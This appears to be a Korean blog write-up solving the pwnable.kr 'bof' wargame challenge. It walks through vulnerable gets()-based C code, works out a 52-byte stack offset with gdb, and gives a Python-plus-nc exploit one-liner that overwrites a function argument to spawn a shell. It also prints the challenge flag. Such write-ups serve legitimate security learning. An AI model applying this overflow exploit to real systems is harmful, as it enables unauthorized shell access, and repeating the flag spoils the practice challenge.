Pwnable.kr [Toddler's Bottle]의 세번째 문제인 bof입니다.

귀여운 너구리 일러스트
다른 문제들과 달리 nc접속 방식이죠?

 

다른 문제들이 ssh접속 방식이였더것과는 달리 nc접속 방식입니다.

 

또한 다운로드를 받을 수 있는 링크가 두개 있네요.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

한 파일은 그저 파일 형태여서 따로 얻을것이 없었고 C코드를 알아냈습니다.

 

C코드 해석을 해봅시다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32]; //32바이트 char 변수 선언 
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){ //key값이 0xcafebabe와 같은지 검사 
		system("/bin/sh"); //if 문이 true일경우 /bin/sh 출력 
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef); //0xdeadbeef를 인자로 func 함수 호출 
	return 0;
} 

주석으로 해석을 달아봤습니다.

 

여기서 알 수 잇는 취약점은 func함수에서 gets를 통해 문자열을 입력받는데, gets함수는 문자열의 크기를 검사하지 않

 

는다는 취약점이 존재하기 때문에 overflow를 발생시킬 수 있습니다.

 

여기서 우린 메모리가 높은 주소에서 낮은 주소로 정리하자면 0xdeadbeef | RET | SFP | 더미 | 32bytes 이렇게 된다는 것

 

을 유추 해 볼 수 있습니다.

 

문제를 풀기 위해 저 사이에 있는 더미 값을 알아내야하기 때문에 gdb를 이용하여 알아보겠습니다.

gdb를 이용하여 bof파일을 리버싱 해봤습니다.

아까 C코드를 해석 했던 Key가 ebp+8부터 시작한다는 것을 알 수있습니다. 

 

그럼 8과 -2c 즉 그 사이에 10진수로 52바이트 공간이 있는 것을 알 수 있습니다.

 

A로 52바이트 만큼 채우고 cafebabe로 나머지를 채워주도록 합시다.

 

(python -c 'print "A"*52+"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000

 

성공적으로 flag가 출력되었습니다! 와우!

 

FLAG: daddy, I just pwned a buFFer :)

반응형
복사했습니다!